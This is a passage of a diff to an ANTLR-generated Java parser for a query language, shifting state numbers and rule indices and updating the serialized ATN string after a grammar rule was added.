+        setState(642);
         match(RP);
         }
         break;
@@ -5314,28 +5370,28 @@ public <T> T accept(ParseTreeVisitor<? extends T> visitor) {
 
   public final MatchBooleanExpressionContext matchBooleanExpression() throws RecognitionException {
     MatchBooleanExpressionContext _localctx = new MatchBooleanExpressionContext(_ctx, getState());
-    enterRule(_localctx, 134, RULE_matchBooleanExpression);
+    enterRule(_localctx, 136, RULE_matchBooleanExpression);
     int _la;
     try {
       enterOuterAlt(_localctx, 1);
       {
-      setState(642);
+      setState(646);
       ((MatchBooleanExpressionContext)_localctx).fieldExp = qualifiedName();
-      setState(645);
+      setState(649);
       _errHandler.sync(this);
       _la = _input.LA(1);
       if (_la==CAST_OP) {
         {
-        setState(643);
+        setState(647);
         match(CAST_OP);
-        setState(644);
+        setState(648);
         ((MatchBooleanExpressionContext)_localctx).fieldType = dataType();
         }
       }
 
-      setState(647);
+      setState(651);
       match(COLON);
-      setState(648);
+      setState(652);
       ((MatchBooleanExpressionContext)_localctx).matchQuery = constant();
       }
     }
@@ -5417,16 +5473,16 @@ public <T> T accept(ParseTreeVisitor<? extends T> visitor) {
 
   public final ValueExpressionContext valueExpression() throws RecognitionException {
     ValueExpressionContext _localctx = new ValueExpressionContext(_ctx, getState());
-    enterRule(_localctx, 136, RULE_valueExpression);
+    enterRule(_localctx, 138, RULE_valueExpression);
     try {
-      setState(655);
+      setState(659);
       _errHandler.sync(this);
       switch ( getInterpreter().adaptivePredict(_input,54,_ctx) ) {
       case 1:
         _localctx = new ValueExpressionDefaultContext(_localctx);
         enterOuterAlt(_localctx, 1);
         {
-        setState(650);
+        setState(654);
         operatorExpression(0);
         }
         break;
@@ -5434,11 +5490,11 @@ public final ValueExpressionContext valueExpression() throws RecognitionExceptio
         _localctx = new ComparisonContext(_localctx);
         enterOuterAlt(_localctx, 2);
         {
-        setState(651);
+        setState(655);
         ((ComparisonContext)_localctx).left = operatorExpression(0);
-        setState(652);
+        setState(656);
         comparisonOperator();
-        setState(653);
+        setState(657);
         ((ComparisonContext)_localctx).right = operatorExpression(0);
         }
         break;
@@ -5556,14 +5612,14 @@ private OperatorExpressionContext operatorExpression(int _p) throws RecognitionE
     int _parentState = getState();
     OperatorExpressionContext _localctx = new OperatorExpressionContext(_ctx, _parentState);
     OperatorExpressionContext _prevctx = _localctx;
-    int _startState = 138;
-    enterRecursionRule(_localctx, 138, RULE_operatorExpression, _p);
+    int _startState = 140;
+    enterRecursionRule(_localctx, 140, RULE_operatorExpression, _p);
     int _la;
     try {
       int _alt;
       enterOuterAlt(_localctx, 1);
       {
-      setState(661);
+      setState(665);
       _errHandler.sync(this);
       switch ( getInterpreter().adaptivePredict(_input,55,_ctx) ) {
       case 1:
@@ -5572,7 +5628,7 @@ private OperatorExpressionContext operatorExpression(int _p) throws RecognitionE
         _ctx = _localctx;
         _prevctx = _localctx;
 
-        setState(658);
+        setState(662);
         primaryExpression(0);
         }
         break;
@@ -5581,7 +5637,7 @@ private OperatorExpressionContext operatorExpression(int _p) throws RecognitionE
         _localctx = new ArithmeticUnaryContext(_localctx);
         _ctx = _localctx;
         _prevctx = _localctx;
-        setState(659);
+        setState(663);
         ((ArithmeticUnaryContext)_localctx).operator = _input.LT(1);
         _la = _input.LA(1);
         if ( !(_la==PLUS || _la==MINUS) ) {
@@ -5592,13 +5648,13 @@ private OperatorExpressionContext operatorExpression(int _p) throws RecognitionE
           _errHandler.reportMatch(this);
           consume();
         }
-        setState(660);
+        setState(664);
         operatorExpression(3);
         }
         break;
       }
       _ctx.stop = _input.LT(-1);
-      setState(671);
+      setState(675);
       _errHandler.sync(this);
       _alt = getInterpreter().adaptivePredict(_input,57,_ctx);
       while ( _alt!=2 && _alt!=org.antlr.v4.runtime.atn.ATN.INVALID_ALT_NUMBER ) {
@@ -5606,7 +5662,7 @@ private OperatorExpressionContext operatorExpression(int _p) throws RecognitionE
           if ( _parseListeners!=null ) triggerExitRuleEvent();
           _prevctx = _localctx;
           {
-          setState(669);
+          setState(673);
           _errHandler.sync(this);
           switch ( getInterpreter().adaptivePredict(_input,56,_ctx) ) {
           case 1:
@@ -5614,9 +5670,9 @@ private OperatorExpressionContext operatorExpression(int _p) throws RecognitionE
             _localctx = new ArithmeticBinaryContext(new OperatorExpressionContext(_parentctx, _parentState));
             ((ArithmeticBinaryContext)_localctx).left = _prevctx;
             pushNewRecursionContext(_localctx, _startState, RULE_operatorExpression);
-            setState(663);
+            setState(667);
             if (!(precpred(_ctx, 2))) throw new FailedPredicateException(this, "precpred(_ctx, 2)");
-            setState(664);
+            setState(668);
             ((ArithmeticBinaryContext)_localctx).operator = _input.LT(1);
             _la = _input.LA(1);
             if ( !(((((_la - 89)) & ~0x3f) == 0 && ((1L << (_la - 89)) & 7L) != 0)) ) {
@@ -5627,7 +5683,7 @@ private OperatorExpressionContext operatorExpression(int _p) throws RecognitionE
               _errHandler.reportMatch(this);
               consume();
             }
-            setState(665);
+            setState(669);
             ((ArithmeticBinaryContext)_localctx).right = operatorExpression(3);
             }
             break;
@@ -5636,9 +5692,9 @@ private OperatorExpressionContext operatorExpression(int _p) throws RecognitionE
             _localctx = new ArithmeticBinaryContext(new OperatorExpressionContext(_parentctx, _parentState));
             ((ArithmeticBinaryContext)_localctx).left = _prevctx;
             pushNewRecursionContext(_localctx, _startState, RULE_operatorExpression);
-            setState(666);
+            setState(670);
             if (!(precpred(_ctx, 1))) throw new FailedPredicateException(this, "precpred(_ctx, 1)");
-            setState(667);
+            setState(671);
             ((ArithmeticBinaryContext)_localctx).operator = _input.LT(1);
             _la = _input.LA(1);
             if ( !(_la==PLUS || _la==MINUS) ) {
@@ -5649,14 +5705,14 @@ private OperatorExpressionContext operatorExpression(int _p) throws RecognitionE
               _errHandler.reportMatch(this);
               consume();
             }
-            setState(668);
+            setState(672);
             ((ArithmeticBinaryContext)_localctx).right = operatorExpression(2);
             }
             break;
           }
           } 
         }
-        setState(673);
+        setState(677);
         _errHandler.sync(this);
         _alt = getInterpreter().adaptivePredict(_input,57,_ctx);
       }
@@ -5808,13 +5864,13 @@ private PrimaryExpressionContext primaryExpression(int _p) throws RecognitionExc
     int _parentState = getState();
     PrimaryExpressionContext _localctx = new PrimaryExpressionContext(_ctx, _parentState);
     PrimaryExpressionContext _prevctx = _localctx;
-    int _startState = 140;
-    enterRecursionRule(_localctx, 140, RULE_primaryExpression, _p);
+    int _startState = 142;
+    enterRecursionRule(_localctx, 142, RULE_primaryExpression, _p);
     try {
       int _alt;
       enterOuterAlt(_localctx, 1);
       {
-      setState(682);
+      setState(686);
       _errHandler.sync(this);
       switch ( getInterpreter().adaptivePredict(_input,58,_ctx) ) {
       case 1:
@@ -5823,7 +5879,7 @@ private PrimaryExpressionContext primaryExpression(int _p) throws RecognitionExc
         _ctx = _localctx;
         _prevctx = _localctx;
 
-        setState(675);
+        setState(679);
         constant();
         }
         break;
@@ -5832,7 +5888,7 @@ private PrimaryExpressionContext primaryExpression(int _p) throws RecognitionExc
         _localctx = new DereferenceContext(_localctx);
         _ctx = _localctx;
         _prevctx = _localctx;
-        setState(676);
+        setState(680);
         qualifiedName();
         }
         break;
@@ -5841,7 +5897,7 @@ private PrimaryExpressionContext primaryExpression(int _p) throws RecognitionExc
         _localctx = new FunctionContext(_localctx);
         _ctx = _localctx;
         _prevctx = _localctx;
-        setState(677);
+        setState(681);
         functionExpression();
         }
         break;
@@ -5850,17 +5906,17 @@ private PrimaryExpressionContext primaryExpression(int _p) throws RecognitionExc
         _localctx = new ParenthesizedExpressionContext(_localctx);
         _ctx = _localctx;
         _prevctx = _localctx;
-        setState(678);
+        setState(682);
         match(LP);
-        setState(679);
+        setState(683);
         booleanExpression(0);
-        setState(680);
+        setState(684);
         match(RP);
         }
         break;
       }
       _ctx.stop = _input.LT(-1);
-      setState(689);
+      setState(693);
       _errHandler.sync(this);
       _alt = getInterpreter().adaptivePredict(_input,59,_ctx);
       while ( _alt!=2 && _alt!=org.antlr.v4.runtime.atn.ATN.INVALID_ALT_NUMBER ) {
@@ -5871,16 +5927,16 @@ private PrimaryExpressionContext primaryExpression(int _p) throws RecognitionExc
           {
           _localctx = new InlineCastContext(new PrimaryExpressionContext(_parentctx, _parentState));
           pushNewRecursionContext(_localctx, _startState, RULE_primaryExpression);
-          setState(684);
+          setState(688);
           if (!(precpred(_ctx, 1))) throw new FailedPredicateException(this, "precpred(_ctx, 1)");
-          setState(685);
+          setState(689);
           match(CAST_OP);
-          setState(686);
+          setState(690);
           dataType();
           }
           } 
         }
-        setState(691);
+        setState(695);
         _errHandler.sync(this);
         _alt = getInterpreter().adaptivePredict(_input,59,_ctx);
       }
@@ -5940,22 +5996,22 @@ public <T> T accept(ParseTreeVisitor<? extends T> visitor) {
 
   public final FunctionExpressionContext functionExpression() throws RecognitionException {
     FunctionExpressionContext _localctx = new FunctionExpressionContext(_ctx, getState());
-    enterRule(_localctx, 142, RULE_functionExpression);
+    enterRule(_localctx, 144, RULE_functionExpression);
     int _la;
     try {
       int _alt;
       enterOuterAlt(_localctx, 1);
       {
-      setState(692);
+      setState(696);
       functionName();
-      setState(693);
+      setState(697);
       match(LP);
-      setState(707);
+      setState(711);
       _errHandler.sync(this);
       switch (_input.LA(1)) {
       case ASTERISK:
         {
-        setState(694);
+        setState(698);
         match(ASTERISK);
         }
         break;
@@ -5978,34 +6034,34 @@ public final FunctionExpressionContext functionExpression() throws RecognitionEx
       case QUOTED_IDENTIFIER:
         {
         {
-        setState(695);
+        setState(699);
         booleanExpression(0);
-        setState(700);
+        setState(704);
         _errHandler.sync(this);
         _alt = getInterpreter().adaptivePredict(_input,60,_ctx);
         while ( _alt!=2 && _alt!=org.antlr.v4.runtime.atn.ATN.INVALID_ALT_NUMBER ) {
           if ( _alt==1 ) {
             {
             {
-            setState(696);
+            setState(700);
             match(COMMA);
-            setState(697);
+            setState(701);
             booleanExpression(0);
             }
             } 
           }
-          setState(702);
+          setState(706);
           _errHandler.sync(this);
           _alt = getInterpreter().adaptivePredict(_input,60,_ctx);
         }
-        setState(705);
+        setState(709);
         _errHandler.sync(this);
         _la = _input.LA(1);
         if (_la==COMMA) {
           {
-          setState(703);
+          setState(707);
           match(COMMA);
-          setState(704);
+          setState(708);
           mapExpression();
           }
         }
@@ -6018,7 +6074,7 @@ public final FunctionExpressionContext functionExpression() throws RecognitionEx
       default:
         break;
       }
-      setState(709);
+      setState(713);
       match(RP);
       }
     }
@@ -6060,11 +6116,11 @@ public <T> T accept(ParseTreeVisitor<? extends T> visitor) {
 
   public final FunctionNameContext functionName() throws RecognitionException {
     FunctionNameContext _localctx = new FunctionNameContext(_ctx, getState());
-    enterRule(_localctx, 144, RULE_functionName);
+    enterRule(_localctx, 146, RULE_functionName);
     try {
       enterOuterAlt(_localctx, 1);
       {
-      setState(711);
+      setState(715);
       identifierOrParameter();
       }
     }
@@ -6115,32 +6171,32 @@ public <T> T accept(ParseTreeVisitor<? extends T> visitor) {
 
   public final MapExpressionContext mapExpression() throws RecognitionException {
     MapExpressionContext _localctx = new MapExpressionContext(_ctx, getState());
-    enterRule(_localctx, 146, RULE_mapExpression);
+    enterRule(_localctx, 148, RULE_mapExpression);
     int _la;
     try {
       enterOuterAlt(_localctx, 1);
       {
-      setState(713);
+      setState(717);
       match(LEFT_BRACES);
-      setState(714);
+      setState(718);
       entryExpression();
-      setState(719);
+      setState(723);
       _errHandler.sync(this);
       _la = _input.LA(1);
       while (_la==COMMA) {
         {
         {
-        setState(715);
+        setState(719);
         match(COMMA);
-        setState(716);
+        setState(720);
         entryExpression();
         }
         }
-        setState(721);
+        setState(725);
         _errHandler.sync(this);
         _la = _input.LA(1);
       }
-      setState(722);
+      setState(726);
       match(RIGHT_BRACES);
       }
     }
@@ -6188,15 +6244,15 @@ public <T> T accept(ParseTreeVisitor<? extends T> visitor) {
 
   public final EntryExpressionContext entryExpression() throws RecognitionException {
     EntryExpressionContext _localctx = new EntryExpressionContext(_ctx, getState());
-    enterRule(_localctx, 148, RULE_entryExpression);
+    enterRule(_localctx, 150, RULE_entryExpression);
     try {
       enterOuterAlt(_localctx, 1);
       {
-      setState(724);
+      setState(728);
       ((EntryExpressionContext)_localctx).key = string();
-      setState(725);
+      setState(729);
       match(COLON);
-      setState(726);
+      setState(730);
       ((EntryExpressionContext)_localctx).value = constant();
       }
     }
@@ -6464,17 +6520,17 @@ public <T> T accept(ParseTreeVisitor<? extends T> visitor) {
 
   public final ConstantContext constant() throws RecognitionException {
     ConstantContext _localctx = new ConstantContext(_ctx, getState());
-    enterRule(_localctx, 150, RULE_constant);
+    enterRule(_localctx, 152, RULE_constant);
     int _la;
     try {
-      setState(770);
+      setState(774);
       _errHandler.sync(this);
       switch ( getInterpreter().adaptivePredict(_input,67,_ctx) ) {
       case 1:
         _localctx = new NullLiteralContext(_localctx);
         enterOuterAlt(_localctx, 1);
         {
-        setState(728);
+        setState(732);
         match(NULL);
         }
         break;
@@ -6482,9 +6538,9 @@ public final ConstantContext constant() throws RecognitionException {
         _localctx = new QualifiedIntegerLiteralContext(_localctx);
         enterOuterAlt(_localctx, 2);
         {
-        setState(729);
+        setState(733);
         integerValue();
-        setState(730);
+        setState(734);
         match(UNQUOTED_IDENTIFIER);
         }
         break;
@@ -6492,7 +6548,7 @@ public final ConstantContext constant() throws RecognitionException {
         _localctx = new DecimalLiteralContext(_localctx);
         enterOuterAlt(_localctx, 3);
         {
-        setState(732);
+        setState(736);
         decimalValue();
         }
         break;
@@ -6500,7 +6556,7 @@ public final ConstantContext constant() throws RecognitionException {
         _localctx = new IntegerLiteralContext(_localctx);
         enterOuterAlt(_localctx, 4);
         {
-        setState(733);
+        setState(737);
         integerValue();
         }
         break;
@@ -6508,7 +6564,7 @@ public final ConstantContext constant() throws RecognitionException {
         _localctx = new BooleanLiteralContext(_localctx);
         enterOuterAlt(_localctx, 5);
         {
-        setState(734);
+        setState(738);
         booleanValue();
         }
         break;
@@ -6516,7 +6572,7 @@ public final ConstantContext constant() throws RecognitionException {
         _localctx = new InputParameterContext(_localctx);
         enterOuterAlt(_localctx, 6);
         {
-        setState(735);
+        setState(739);
         parameter();
         }
         break;
@@ -6524,7 +6580,7 @@ public final ConstantContext constant() throws RecognitionException {
         _localctx = new StringLiteralContext(_localctx);
         enterOuterAlt(_localctx, 7);
         {
-        setState(736);
+        setState(740);
         string();
         }
         break;
@@ -6532,27 +6588,27 @@ public final ConstantContext constant() throws RecognitionException {
         _localctx = new NumericArrayLiteralContext(_localctx);
         enterOuterAlt(_localctx, 8);
         {
-        setState(737);
+        setState(741);
         match(OPENING_BRACKET);
-        setState(738);
+        setState(742);
         numericValue();
-        setState(743);
+        setState(747);
         _errHandler.sync(this);
         _la = _input.LA(1);
         while (_la==COMMA) {
           {
           {
-          setState(739);
+          setState(743);
           match(COMMA);
-          setState(740);
+          setState(744);
           numericValue();
           }
           }
-          setState(745);
+          setState(749);
           _errHandler.sync(this);
           _la = _input.LA(1);
         }
-        setState(746);
+        setState(750);
         match(CLOSING_BRACKET);
         }
         break;
@@ -6560,27 +6616,27 @@ public final ConstantContext constant() throws RecognitionException {
         _localctx = new BooleanArrayLiteralContext(_localctx);
         enterOuterAlt(_localctx, 9);
         {
-        setState(748);
+        setState(752);
         match(OPENING_BRACKET);
-        setState(749);
+        setState(753);
         booleanValue();
-        setState(754);
+        setState(758);
         _errHandler.sync(this);
         _la = _input.LA(1);
         while (_la==COMMA) {
           {
           {
-          setState(750);
+          setState(754);
           match(COMMA);
-          setState(751);
+          setState(755);
           booleanValue();
           }
           }
-          setState(756);
+          setState(760);
           _errHandler.sync(this);
           _la = _input.LA(1);
         }
-        setState(757);
+        setState(761);
         match(CLOSING_BRACKET);
         }
         break;
@@ -6588,27 +6644,27 @@ public final ConstantContext constant() throws RecognitionException {
         _localctx = new StringArrayLiteralContext(_localctx);
         enterOuterAlt(_localctx, 10);
         {
-        setState(759);
+        setState(763);
         match(OPENING_BRACKET);
-        setState(760);
+        setState(764);
         string();
-        setState(765);
+        setState(769);
         _errHandler.sync(this);
         _la = _input.LA(1);
         while (_la==COMMA) {
           {
           {
-          setState(761);
+          setState(765);
           match(COMMA);
-          setState(762);
+          setState(766);
           string();
           }
           }
-          setState(767);
+          setState(771);
           _errHandler.sync(this);
           _la = _input.LA(1);
         }
-        setState(768);
+        setState(772);
         match(CLOSING_BRACKET);
         }
         break;
@@ -6651,12 +6707,12 @@ public <T> T accept(ParseTreeVisitor<? extends T> visitor) {
 
   public final BooleanValueContext booleanValue() throws RecognitionException {
     BooleanValueContext _localctx = new BooleanValueContext(_ctx, getState());
-    enterRule(_localctx, 152, RULE_booleanValue);
+    enterRule(_localctx, 154, RULE_booleanValue);
     int _la;
     try {
       enterOuterAlt(_localctx, 1);
       {
-      setState(772);
+      setState(776);
       _la = _input.LA(1);
       if ( !(_la==FALSE || _la==TRUE) ) {
       _errHandler.recoverInline(this);
@@ -6709,22 +6765,22 @@ public <T> T accept(ParseTreeVisitor<? extends T> visitor) {
 
   public final NumericValueContext numericValue() throws RecognitionException {
     NumericValueContext _localctx = new NumericValueContext(_ctx, getState());
-    enterRule(_localctx, 154, RULE_numericValue);
+    enterRule(_localctx, 156, RULE_numericValue);
     try {
-      setState(776);
+      setState(780);
       _errHandler.sync(this);
       switch ( getInterpreter().adaptivePredict(_input,68,_ctx) ) {
       case 1:
         enterOuterAlt(_localctx, 1);
         {
-        setState(774);
+        setState(778);
         decimalValue();
         }
         break;
       case 2:
         enterOuterAlt(_localctx, 2);
         {
-        setState(775);
+        setState(779);
         integerValue();
         }
         break;
@@ -6768,17 +6824,17 @@ public <T> T accept(ParseTreeVisitor<? extends T> visitor) {
 
   public final DecimalValueContext decimalValue() throws RecognitionException {
     DecimalValueContext _localctx = new DecimalValueContext(_ctx, getState());
-    enterRule(_localctx, 156, RULE_decimalValue);
+    enterRule(_localctx, 158, RULE_decimalValue);
     int _la;
     try {
       enterOuterAlt(_localctx, 1);
       {
-      setState(779);
+      setState(783);
       _errHandler.sync(this);
       _la = _input.LA(1);
       if (_la==PLUS || _la==MINUS) {
         {
-        setState(778);
+        setState(782);
         _la = _input.LA(1);
         if ( !(_la==PLUS || _la==MINUS) ) {
         _errHandler.recoverInline(this);
@@ -6791,7 +6847,7 @@ public final DecimalValueContext decimalValue() throws RecognitionException {
         }
       }
 
-      setState(781);
+      setState(785);
       match(DECIMAL_LITERAL);
       }
     }
@@ -6833,17 +6889,17 @@ public <T> T accept(ParseTreeVisitor<? extends T> visitor) {
 
   public final IntegerValueContext integerValue() throws RecognitionException {
     IntegerValueContext _localctx = new IntegerValueContext(_ctx, getState());
-    enterRule(_localctx, 158, RULE_integerValue);
+    enterRule(_localctx, 160, RULE_integerValue);
     int _la;
     try {
       enterOuterAlt(_localctx, 1);
       {
-      setState(784);
+      setState(788);
       _errHandler.sync(this);
       _la = _input.LA(1);
       if (_la==PLUS || _la==MINUS) {
         {
-        setState(783);
+        setState(787);
         _la = _input.LA(1);
         if ( !(_la==PLUS || _la==MINUS) ) {
         _errHandler.recoverInline(this);
@@ -6856,7 +6912,7 @@ public final IntegerValueContext integerValue() throws RecognitionException {
         }
       }
 
-      setState(786);
+      setState(790);
       match(INTEGER_LITERAL);
       }
     }
@@ -6896,11 +6952,11 @@ public <T> T accept(ParseTreeVisitor<? extends T> visitor) {
 
   public final StringContext string() throws RecognitionException {
     StringContext _localctx = new StringContext(_ctx, getState());
-    enterRule(_localctx, 160, RULE_string);
+    enterRule(_localctx, 162, RULE_string);
     try {
       enterOuterAlt(_localctx, 1);
       {
-      setState(788);
+      setState(792);
       match(QUOTED_STRING);
       }
     }
@@ -6945,12 +7001,12 @@ public <T> T accept(ParseTreeVisitor<? extends T> visitor) {
 
   public final ComparisonOperatorContext comparisonOperator() throws RecognitionException {
     ComparisonOperatorContext _localctx = new ComparisonOperatorContext(_ctx, getState());
-    enterRule(_localctx, 162, RULE_comparisonOperator);
+    enterRule(_localctx, 164, RULE_comparisonOperator);
     int _la;
     try {
       enterOuterAlt(_localctx, 1);
       {
-      setState(790);
+      setState(794);
       _la = _input.LA(1);
       if ( !(((((_la - 80)) & ~0x3f) == 0 && ((1L << (_la - 80)) & 125L) != 0)) ) {
       _errHandler.recoverInline(this);
@@ -7008,12 +7064,12 @@ public <T> T accept(ParseTreeVisitor<? extends T> visitor) {
 
   public final JoinCommandContext joinCommand() throws RecognitionException {
     JoinCommandContext _localctx = new JoinCommandContext(_ctx, getState());
-    enterRule(_localctx, 164, RULE_joinCommand);
+    enterRule(_localctx, 166, RULE_joinCommand);
     int _la;
     try {
       enterOuterAlt(_localctx, 1);
       {
-      setState(792);
+      setState(796);
       ((JoinCommandContext)_localctx).type = _input.LT(1);
       _la = _input.LA(1);
       if ( !((((_la) & ~0x3f) == 0 && ((1L << _la) & 54525952L) != 0)) ) {
@@ -7024,11 +7080,11 @@ public final JoinCommandContext joinCommand() throws RecognitionException {
         _errHandler.reportMatch(this);
         consume();
       }
-      setState(793);
+      setState(797);
       match(JOIN);
-      setState(794);
+      setState(798);
       joinTarget();
-      setState(795);
+      setState(799);
       joinCondition();
       }
     }
@@ -7071,11 +7127,11 @@ public <T> T accept(ParseTreeVisitor<? extends T> visitor) {
 
   public final JoinTargetContext joinTarget() throws RecognitionException {
     JoinTargetContext _localctx = new JoinTargetContext(_ctx, getState());
-    enterRule(_localctx, 166, RULE_joinTarget);
+    enterRule(_localctx, 168, RULE_joinTarget);
     try {
       enterOuterAlt(_localctx, 1);
       {
-      setState(797);
+      setState(801);
       ((JoinTargetContext)_localctx).index = indexPattern();
       }
     }
@@ -7125,30 +7181,30 @@ public <T> T accept(ParseTreeVisitor<? extends T> visitor) {
 
   public final JoinConditionContext joinCondition() throws RecognitionException {
     JoinConditionContext _localctx = new JoinConditionContext(_ctx, getState());
-    enterRule(_localctx, 168, RULE_joinCondition);
+    enterRule(_localctx, 170, RULE_joinCondition);
     try {
       int _alt;
       enterOuterAlt(_localctx, 1);
       {
-      setState(799);
+      setState(803);
       match(ON);
-      setState(800);
+      setState(804);
       joinPredicate();
-      setState(805);
+      setState(809);
       _errHandler.sync(this);
       _alt = getInterpreter().adaptivePredict(_input,71,_ctx);
       while ( _alt!=2 && _alt!=org.antlr.v4.runtime.atn.ATN.INVALID_ALT_NUMBER ) {
         if ( _alt==1 ) {
           {
           {
-          setState(801);
+          setState(805);
           match(COMMA);
-          setState(802);
+          setState(806);
           joinPredicate();
           }
           } 
         }
-        setState(807);
+        setState(811);
         _errHandler.sync(this);
         _alt = getInterpreter().adaptivePredict(_input,71,_ctx);
       }
@@ -7192,11 +7248,11 @@ public <T> T accept(ParseTreeVisitor<? extends T> visitor) {
 
   public final JoinPredicateContext joinPredicate() throws RecognitionException {
     JoinPredicateContext _localctx = new JoinPredicateContext(_ctx, getState());
-    enterRule(_localctx, 170, RULE_joinPredicate);
+    enterRule(_localctx, 172, RULE_joinPredicate);
     try {
       enterOuterAlt(_localctx, 1);
       {
-      setState(808);
+      setState(812);
       valueExpression();
       }
     }
@@ -7219,13 +7275,13 @@ public boolean sempred(RuleContext _localctx, int ruleIndex, int predIndex) {
       return sourceCommand_sempred((SourceCommandContext)_localctx, predIndex);
     case 3:
       return processingCommand_sempred((ProcessingCommandContext)_localctx, predIndex);
-    case 57:
+    case 58:
       return forkSubQueryCommand_sempred((ForkSubQueryCommandContext)_localctx, predIndex);
-    case 65:
+    case 66:
       return booleanExpression_sempred((BooleanExpressionContext)_localctx, predIndex);
-    case 69:
-      return operatorExpression_sempred((OperatorExpressionContext)_localctx, predIndex);
     case 70:
+      return operatorExpression_sempred((OperatorExpressionContext)_localctx, predIndex);
+    case 71:
       return primaryExpression_sempred((PrimaryExpressionContext)_localctx, predIndex);
     }
     return true;
@@ -7295,7 +7351,7 @@ private boolean primaryExpression_sempred(PrimaryExpressionContext _localctx, in
   }
 
   public static final String _serializedATN =
-    "\u0004\u0001\u008b\u032b\u0002\u0000\u0007\u0000\u0002\u0001\u0007\u0001"+
+    "\u0004\u0001\u008b\u032f\u0002\u0000\u0007\u0000\u0002\u0001\u0007\u0001"+
     "\u0002\u0002\u0007\u0002\u0002\u0003\u0007\u0003\u0002\u0004\u0007\u0004"+
     "\u0002\u0005\u0007\u0005\u0002\u0006\u0007\u0006\u0002\u0007\u0007\u0007"+
     "\u0002\b\u0007\b\u0002\t\u0007\t\u0002\n\u0007\n\u0002\u000b\u0007\u000b"+
@@ -7316,482 +7372,484 @@ private boolean primaryExpression_sempred(PrimaryExpressionContext _localctx, in
     "E\u0002F\u0007F\u0002G\u0007G\u0002H\u0007H\u0002I\u0007I\u0002J\u0007"+
     "J\u0002K\u0007K\u0002L\u0007L\u0002M\u0007M\u0002N\u0007N\u0002O\u0007"+
     "O\u0002P\u0007P\u0002Q\u0007Q\u0002R\u0007R\u0002S\u0007S\u0002T\u0007"+
-    "T\u0002U\u0007U\u0001\u0000\u0001\u0000\u0001\u0000\u0001\u0001\u0001"+
-    "\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0005\u0001\u00b6"+
-    "\b\u0001\n\u0001\f\u0001\u00b9\t\u0001\u0001\u0002\u0001\u0002\u0001\u0002"+
-    "\u0001\u0002\u0001\u0002\u0001\u0002\u0001\u0002\u0003\u0002\u00c2\b\u0002"+
-    "\u0001\u0003\u0001\u0003\u0001\u0003\u0001\u0003\u0001\u0003\u0001\u0003"+
+    "T\u0002U\u0007U\u0002V\u0007V\u0001\u0000\u0001\u0000\u0001\u0000\u0001"+
+    "\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0005"+
+    "\u0001\u00b8\b\u0001\n\u0001\f\u0001\u00bb\t\u0001\u0001\u0002\u0001\u0002"+
+    "\u0001\u0002\u0001\u0002\u0001\u0002\u0001\u0002\u0001\u0002\u0003\u0002"+
+    "\u00c4\b\u0002\u0001\u0003\u0001\u0003\u0001\u0003\u0001\u0003\u0001\u0003"+
     "\u0001\u0003\u0001\u0003\u0001\u0003\u0001\u0003\u0001\u0003\u0001\u0003"+
     "\u0001\u0003\u0001\u0003\u0001\u0003\u0001\u0003\u0001\u0003\u0001\u0003"+
     "\u0001\u0003\u0001\u0003\u0001\u0003\u0001\u0003\u0001\u0003\u0001\u0003"+
-    "\u0001\u0003\u0001\u0003\u0001\u0003\u0003\u0003\u00df\b\u0003\u0001\u0004"+
-    "\u0001\u0004\u0001\u0004\u0001\u0005\u0001\u0005\u0001\u0006\u0001\u0006"+
-    "\u0001\u0006\u0001\u0007\u0001\u0007\u0001\u0007\u0005\u0007\u00ec\b\u0007"+
-    "\n\u0007\f\u0007\u00ef\t\u0007\u0001\b\u0001\b\u0001\b\u0003\b\u00f4\b"+
-    "\b\u0001\b\u0001\b\u0001\t\u0001\t\u0001\t\u0005\t\u00fb\b\t\n\t\f\t\u00fe"+
-    "\t\t\u0001\n\u0001\n\u0001\n\u0003\n\u0103\b\n\u0001\u000b\u0001\u000b"+
-    "\u0001\u000b\u0001\f\u0001\f\u0001\f\u0001\r\u0001\r\u0001\r\u0005\r\u010e"+
-    "\b\r\n\r\f\r\u0111\t\r\u0001\r\u0003\r\u0114\b\r\u0001\u000e\u0001\u000e"+
-    "\u0001\u000e\u0001\u000e\u0001\u000e\u0001\u000e\u0001\u000e\u0001\u000e"+
-    "\u0001\u000e\u0003\u000e\u011f\b\u000e\u0001\u000f\u0001\u000f\u0001\u0010"+
-    "\u0001\u0010\u0001\u0011\u0001\u0011\u0001\u0012\u0001\u0012\u0001\u0013"+
-    "\u0001\u0013\u0001\u0013\u0001\u0013\u0005\u0013\u012d\b\u0013\n\u0013"+
-    "\f\u0013\u0130\t\u0013\u0001\u0014\u0001\u0014\u0001\u0014\u0001\u0015"+
-    "\u0001\u0015\u0003\u0015\u0137\b\u0015\u0001\u0015\u0001\u0015\u0003\u0015"+
-    "\u013b\b\u0015\u0001\u0016\u0001\u0016\u0001\u0016\u0005\u0016\u0140\b"+
-    "\u0016\n\u0016\f\u0016\u0143\t\u0016\u0001\u0017\u0001\u0017\u0001\u0017"+
-    "\u0003\u0017\u0148\b\u0017\u0001\u0018\u0001\u0018\u0001\u0018\u0005\u0018"+
-    "\u014d\b\u0018\n\u0018\f\u0018\u0150\t\u0018\u0001\u0019\u0001\u0019\u0001"+
-    "\u0019\u0005\u0019\u0155\b\u0019\n\u0019\f\u0019\u0158\t\u0019\u0001\u001a"+
-    "\u0001\u001a\u0001\u001a\u0005\u001a\u015d\b\u001a\n\u001a\f\u001a\u0160"+
-    "\t\u001a\u0001\u001b\u0001\u001b\u0001\u001c\u0001\u001c\u0001\u001c\u0003"+
-    "\u001c\u0167\b\u001c\u0001\u001d\u0001\u001d\u0003\u001d\u016b\b\u001d"+
-    "\u0001\u001e\u0001\u001e\u0003\u001e\u016f\b\u001e\u0001\u001f\u0001\u001f"+
-    "\u0001\u001f\u0003\u001f\u0174\b\u001f\u0001 \u0001 \u0001 \u0001!\u0001"+
-    "!\u0001!\u0001!\u0005!\u017d\b!\n!\f!\u0180\t!\u0001\"\u0001\"\u0003\""+
-    "\u0184\b\"\u0001\"\u0001\"\u0003\"\u0188\b\"\u0001#\u0001#\u0001#\u0001"+
-    "$\u0001$\u0001$\u0001%\u0001%\u0001%\u0001%\u0005%\u0194\b%\n%\f%\u0197"+
-    "\t%\u0001&\u0001&\u0001&\u0001&\u0001&\u0001&\u0001&\u0001&\u0003&\u01a1"+
-    "\b&\u0001\'\u0001\'\u0001\'\u0001\'\u0003\'\u01a7\b\'\u0001(\u0001(\u0001"+
-    "(\u0001(\u0001)\u0001)\u0001)\u0001*\u0001*\u0001*\u0005*\u01b3\b*\n*"+
